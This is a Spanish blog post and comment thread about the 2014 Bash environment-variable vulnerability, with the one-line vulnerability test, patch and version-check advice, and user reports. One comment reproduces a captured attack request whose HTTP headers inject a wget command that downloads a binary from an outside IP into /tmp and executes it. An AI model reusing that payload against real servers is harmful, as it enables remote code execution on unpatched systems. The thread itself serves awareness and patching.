Bash: nueva Vulnerabilidad detectada (y corregida)

66
550

Anda corriendo como pólvora en algunos blogs, una noticia publicada en el blog de seguridad de Red Hat sobre una vulnerabilidad encontrada en Bash debido al uso indebido de variables globales. Según la noticia original:

“… la vulnerabilidad se debe al hecho de que se pueden crear variables de entorno con valores especialmente diseñados antes de llamar a la shell de bash. Estas variables pueden contener código que es ejecutado tan pronto como se invoca el shell. El nombre de estas variables elaboradas no importa, sólo sus contenidos. Como resultado, esta vulnerabilidad se expone en muchos contextos, por ejemplo:


  • ForceCommand se utiliza en configuraciones de sshd para proporcionar capacidades de ejecución de comandos limitadas para los usuarios remotos. Este defecto se puede utilizar para evitar eso y proporcionar ejecución de comandos arbitrarios. Algunas implementaciones de Git y Subversion utilizan dichos Shells restringidos. El uso regular de OpenSSH no se ve afectada ya que los usuarios ya tienen acceso a una consola.
  • El servidor Apache usando mod_cgi o mod_cgid se ven afectados si los scripts CGI están escritos tanto en bash, o desovan subniveles. Tales subniveles se utilizan de forma implícita por system/popen en C, por os.system/os.popen en Python, si se utiliza un shell system/exec en PHP (cuando se ejecuta en modo CGI), y open/system en Perl (que depende en la cadena de comandos).
  • Scripts PHP ejecutados con mod_php no se ven afectados incluso si se reproducen subniveles.
  • Clientes DHCP invocan scripts shell para configurar el sistema, con valores tomados de un servidor potencialmente malicioso. Esto permitiría comandos arbitrarios a ser ejecutados, normalmente como root, en el equipo cliente DHCP.
  • Varios demonios y programas con privilegios SUID pueden ejecutar scripts de shell con los valores de variables de entorno establecidas/influenciados por el usuario, lo que permitiría ejecutar comandos arbitrarios.
  • Cualquier otra aplicación que se engancha a un Shell o se ejecuta un script de shell como el uso de bash como intérprete. Los scripts de shell que no exportan variables no son vulnerables a este problema, incluso si ellos procesan contenido no confiable y la almacenan en variables (dejados) de shell y subniveles abiertos.

…”

¿Como saber si mi Bash está afectado?

Visto esto hay una forma muy simple de saber si estamos afectados por esta vulnerabilidad. De hecho, probé en mi Antergos y no tengo problema alguno al parecer. Lo que tenemos que hacer es abrir un terminal y poner:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si nos sale de esta forma no tenemos problema alguno:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
bash: aviso: x: ignoring function definition attempt
bash: error al importar la definición de la función para `x'
this is a test

Si el resultado es diferente, convendría usar los canales de actualización de nuestras distribuciones preferidas para ver si ya aplicaron el parche. Así que ya saben 😉

Actualizado: Este es el resultado de un compañero de trabajo que usa Ubuntu 14:04:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test

Como ven, hasta el momento es vulnerable.

66 COMENTARIOS

  1. Acabo de comprobar que tras aplicar una actualización esta mañana ni Slackware ni Debian ni Centos son afectados ya que recibieron actualización correspondiente..

    ¿Qué hace Ubuntu aún vulnerable a estas horas? Y que me digan que es seguro :D.

    • Expertos en seguridad advierten de la vulnerabilidad de ‘Bash’, podría representar una mayor amenaza para los usuarios del Software Linux que el fallo de Heartbleed, donde los ‘hackers’ pueden explotar un error en Bash para tomar el control completo de un sistema.
      Tod Beardsley, gerente de ingeniería de la firma de ciberseguridad Rapid7, advirtió que el fallo fue clasificado como 10 por su gravedad, lo que significa que tiene el máximo impacto, y calificado como “bajo” por la complejidad de la explotación, lo que significa que es relativamente fácil para los ataques de ‘hackers’. Al usar esta vulnerabilidad, los atacantes potencialmente pueden tomar el control del sistema operativo, acceder a información confidencial, hacer cambios, etc”, dijo Beardsley. “Cualquiera con sistemas que ocupen Bash deben aplicar el parche inmediatamente”, agregó.
      ANTES ESTA VULNERABILIDAD QUE PRESENTA LA ANTICUADO HERRAMIENTA (GNU) donde se aloja Bach, seria mas conveniente para el Software Linux que deshaga de GNU y cambien por la herramienta BSD.

      PD: no CENSUREN mi libertad de expresión,…no insultado a nadie,…no borren mi mensaje como el anterior mensaje que me han borrado!.

      • “…y calificado como “BAJO” POR LA COMPLEJIDAD de la explotación, lo que significa que es relativamente FÁCIL para los ataques de ‘hackers’”

        ¿Se nota la incongruencia?
        ¿Cómo puede ser fácil explotar la vulnerabilidad y tener al mismo tiempo nivel “bajo” de riesgo por ser tan complejo de utilizarse?
        Es un bug que se soluciono a unas horas de conocerse y que al igual que heartbleed no tiene reportes de haber sido explotado (Claro este tiene menos tiempo de conocerse).
        Es mas prensa amarillista que riesgo real.

      • ¿Te parece poco importante @Staff? ¿Qué me dirás ahora?

        GET./.HTTP/1.0
        .User-Agent:.Thanks-Rob
        .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
        .Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
        .Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
        .Accept:.*/*

        $ file nginx
        nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped

        $ md5sum nginx
        5924bcc045bb7039f55c6ce29234e29a nginx

        $ sha256sum nginx
        73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx

        ¿Sabes qué es? De poco peligroso nada…

      • La situación es bastante grave, pero de allí a decir que se debe dejar de usar bash por una opción de BSD, ya es como mucho, de todas formas la actualización ya está, solo toco actualizar y más nada.

        Ahora bien el PD, creo que está de más compañero @robet, no creo que acá los admins se dediquen a borrar comentarios así porque si, porque, desde que participo en esta comunidad he tenido esa sensación y espero que se mantenga así.

        Saludos.

      • Bash viene desde Unix (y su clon en GNU). Los sistemas basados en BSD como OSX también están afectados, y según Genbeta, todavía no lo han parchado. Igual para acceder a Bash hace falta una cuenta de usuario, ya sea local o por SSH.

      • @Staff:

        1.- Se clasifico como Nivel 10 (máximo nivel de peligrosidad) por la cantidad de servicios que pueden ser afectados por el bug. En la nota principal dejan bien claro ese hecho, aduciendo que el bug puede afectar servicios como apache, sshd, programas con permisos suid (xorg, entre otros).

        2.- Se clasifico con Nivel Bajo de Dificultad, a la hora de poder realizar su implementación, y el mejor ejemplo de ello, es el script de prueba para vulnerabilidad que @elav ha colocado en el post. Muy difícil de implementar no es, como se puede ver.

        Yo no veo redundancia en la información (solo veo una traducción del Google) y si el problema es bastante grave, y como tu mismo dices, ya tiene parche y solución, pero no por eso, deja de ser un riesgo, y uno bastante real.

      • @petercheco / @Yukiteru

        No me mal interpreten, creo que es claro que mi critica es la noticia que enlaza Robet y esta enfocada la incongruencia y no una redundancia.

        Del mismo modo hay que diferenciar entre riesgo y peligro (Este ultimo yo no lo mencione), comúnmente los usamos como sinónimos, pero aquí, peligro seria la capacidad de daño del bug y riesgo la probabilidad de que ocurra.
        En mi particular caso, me entre desde el día de ayer. No fue por listas de correos ni nada así ¡Fue por una distro de escritorio! Tome el teléfono y le mande un mensaje al sysadmin con el link y me confirmo que ya tenia todo parchado, entonces disculpen pero no me quitan el sueño estas noticias.

      • En otros foros mencionan acerca de la vulnerabilidad de Bash, “la solución que sacó Debian y Ubuntu ” ,pero hoy descubrieron que sigue existiendo una vulnerabilidad, así que la solución fue incompleta, eso mencionan!.

        Veo que muchos me han criticado por el simple echo de prevenir a la gente la gravedad de vulnerabilidad -calificado con un nivel 10 de máxima peligrosidad, y mencionar de posibles soluciones al Software Linux ante la anticuada herramienta de GNU donde se aloja Bash -que perfectamente podría ser remplazado GNU con la herramienta BSD en el Software Linux,…yo también utilizo Linux y me gusta Linux!.

        Aclaro que Bash no viene por defecto instalado en BSD, es un paquete mas de compatibilidad de Linux que puede ser instalado en BSD…si!. Y la fuente se pone para que puedan comprobar la noticia, ya que muchos de los usuarios aveces no creen el mensaje o comentario.

        • robet: Como ya te dijeron una y otra vez, tu comentario con la noticia ya lo pusiste en un post, no tienes que ponerlo en cada post que comentes.

          Sobre bash, pues hay otros interpretes de comandos que se pueden usar en caso de que Bash sea vulnerable. 😉

      • Robet, que yo sepa no existe software que combine el kernel linux con el userland BSD. Lo mas cercano es al revés, kBSD+GNU, como lo hacen Gentoo y Debian. Aparte no se lo prodría llamar “anticuado” a GNU (1983) si es posterior a BSD (1977). Ambos comparten su raíz unix (pero no el código), no habría “compatibilidad Linux” si Bash fue creado cuando Linus T todavía era niño.

    • env X='() { (a)=>\' sh -c "echo vulnerable"; bash -c "echo Fallo 2 sin parchear"
      sh: X: línea 1: error sintáctico cerca del elemento inesperado `='
      sh: X: línea 1: `'
      sh: error al importar la definición de la función para `X'
      sh: vulnerable: no se encontró la orden
      Fallo 2 sin parchea
      
      • en vez de hacer un simple echo intente hacer que ejecute una instruccion que requiere privilegios, me tiro “privilegios insuficientes”… no escala privilegios este bug?, si no escala privilegios entonces no es tan peligroso como lo pintan..

      • Tienes razón!! eran dos vulnerabilidades…

        A mi en Linux Mint 17 después de la segunda actualización de bash que pusieron en los repositorios de Ubuntu ayer por la noche, a la ejecución de esa orden la shell ofrece esta salida:

        env X='() { (a)=>\’ sh -c “echo vulnerable”; bash -c “echo Fallo 2 sin parchear”
        >

        La versión de “bassh” que se puso en repositorios de Ubuntu para actualizar las anteriores es:

        4.3-7ubuntu1.2

        En sistemas derivados de Debian se puede comprobar la versión instalada con esta orden:

        dpkg -s bash|grep Version

        De todas formas habría que aclarar, al menos para los usuarios de Debian, Ubuntu y Mint; que no deben preocuparse demasiado por los programas que ejecutan scripts con el encabezamiento #!/bin/sh porque en esas distribuciones /bin/sh no llama a “bash”, sino que enlaza a la shell “dash” (dash es:)

        La consola del alquimista de Debian (dash) es una consola POSIX derivada
        de ash.
        .
        Desde que ejecuta scripts mas rapido que bash, y tiene menos dependencias
        de bibliotecas (haciendolo más robusto contra fallas de software o
        hardware), se usa como consola predeterminada del sistema en sistemas
        Debian.

        Así que, al menos en Ubuntu, “bash” es utiizada como shell para el login de usuarios (también para el usuario root). Pero cualquier usuario puede utilizar otra shell por defecto para las consolas (terminales) de usuarios y root.

        Es fácil comprobar que shell ejecuta los scripts (#!/bin/sh) ejecutando estas órdenes:

        file /bin/sh
        (la salida es /bin/sh: symbolic link to `dash’) seguimos el rastro repitiendo la orden

        file /bin/dash
        (la salida es /bin/dash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV) así que este es el ejecutable.

        Estos son los resultados en una distribución Linux Mint 17. En otras distribuciones no basadas en Ubuntu/Debian pueden ser diferentes.

        No es difícil cambiar la shell por defecto!! incluso se puede usar una diferente para los usuarios y para el usuario root. En realidad solo hay que instalar la shell que se prefiera y cambiar la predeterminada con el comando “chsh” o editando el archivo /etc/passwd (aunque los usuarios que no conocen las consecuencias de un error al editar el archivo “passwd”, es mejor que se informen muy bien y antes de editarlo que hagan copia del original por si es necesario recuperarlo).

        Yo me siento más cómodo con “tcsh” (tcsh es:)

        La consola de C de TENEX, una versión mejorada de la csh de Berkeley

        “csh” es la que utilizaban los Mac OS X hace algunos años. Algo lógico teniendo en cuenta que buena parte del sistema operativo de Apple es código de FreeBSD. Ahora por lo que he leído ayer, parece que también provén “bash” para los terminales de los usuarios.

        CONCLUSIONES:

        – Ya se han distribuido versiones de “bash” parcheadas “para las distribuciones más usadas”
        – La versión de “bash” 4.3-7ubuntu1.2 y posteriores no contienen estos bugs
        – No es obligatorio usar “bash” en OS *Linux
        – Pocas distribuciones *Linux enlazan #!/bin/sh con “bash”
        – Existen alernativas: ash, dash, csh, tcsh y algunas más
        – No es complicado cambiar la shell por defecto a la que el sistema llama cuando abre un terminal
        – Pocos dispositivos pequeños (routers y otros) usan “bash”, porque es muy grande!!

    • @Xurxo….csh de Berkeley?,…algo entiendes de lo que hablo arriba, y es mejor usar “csh” de BSD…antes que la anticuada herramienta GNU donde se aloja Bash. Esa herramienta es la mejor para el Software Linux.

    • Reaparado en Ubuntu Studio 14.04.1
      brizno@ubuntustudio:~$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”
      bash: aviso: x: ignoring function definition attempt
      bash: error al importar la definición de la función para `x’
      this is a test

  2. En realidad es una vulnerabilidad menor , si te afecta es que algo estabas haciendo mal de antes …

    Porque un script bash que corre con privilegios de root nunca debe de exponerse a un usuario . Y si corre sin privilegios , no existe dicha bulnerabilidad . En realidad , es una tonteria . Mucho alarmismo .

  3. Si el sistema es vulnerable en Cent OS:
    yum clean all && yum update bash

    para ver la version de bash:
    rpm -qa | grep bash

    Si la version es anterior a bash-4.1.2-15.el6_5.1 tu sistema puede ser vulnerable!

    Saludos.

  4. A mi en Gentoo me pasa lo contrario, solo soy vulnerable al primer fallo pero con el segundo me aparece esto:
    [code]sh: X: línea 1: error sintáctico cerca del elemento inesperado `=’
    sh: X: línea 1: `’
    sh: error al importar la definición de la función para `X’
    sh: vulnerable: no se encontró la orden
    Fallo 2 sin parchear
    [/code]
    No se si ya habrá una versión estable de Bash con los fallos corregidos, pero sea como sea quedara pendiente para la próxima vez que haga un emerge –sync && emerge –update –deep –with-bdeps=y –newuse @world (así de paso actualizo todo el sistema).

    • Yo tengo Gentoo con la versión 4.2_p50 y hasta ahora ha pasado todas las pruebas. Prueba haciendo un emerge –sync y luego emerge -av1 app-shells/bash, y luego revisa que tengas la version 4.2_p50 usando el comando bash –version.

  5. ¿Han probado esto?

    Y con nuevos paquetes, nuevo test que nos proporcionan desde Red Hat

    cd /tmp; rm -f /tmp/echo; env ‘x=() { (a)=>\’ bash -c “echo date”; cat /tmp/echo

    si nuestro sistema no es vulnerable y ha sido correctamente parcheado nos tiene que dar algo como esto
    1 date
    2 cat: /tmp/echo: No existe el fichero o el directorio

  6. Buenas, me surge una pregunta, yo tengo varios servidores con “SUSE Linux Enterprise Server 10” de 64 bits.
    Cuando ejecuto las ordenes soy vulnerable, incluso soy más vulnerable que la basura el iPhone 6 xD
    Si no me equivoco para actualizar/instalar paquetes en SUSE se hace con el comando “zypper”.

    En algunos servidores me dice esto:

    BIAL:~ # zypper up
    -bash: zypper: command not found
    BIAL:~ #

    Y en otros esto:

    SMB:~ # zypper up
    Restoring system sources…
    Parsing metadata for SUSE Linux Enterprise Server 10 SP2-20100319-161944…
    Parsing RPM database…
    Summary:
    Nothing to do.

    Que hago?
    Ya se que la vulnerabilidad algunos decis que es menor de como lo pintan pero la tengo y no quiero estar expuesto al riesgo, sea pequeño o grande.

    Saludos.

  7. Buenas noches, he probado pegando el código que dispusieron en el artículo, me sale esto
    sanders@pc-sanders:~$ env x='() { :;}; echo vulnerable’ bash -c “echo this is a test”
    this is a test
    sanders@pc-sanders:~$
    quieren por favor explicarme como parchar distro, hago actualizaciones diariamente y no veo cambios en la salida del prompt.

    Muchas gracias!

Dejar una respuesta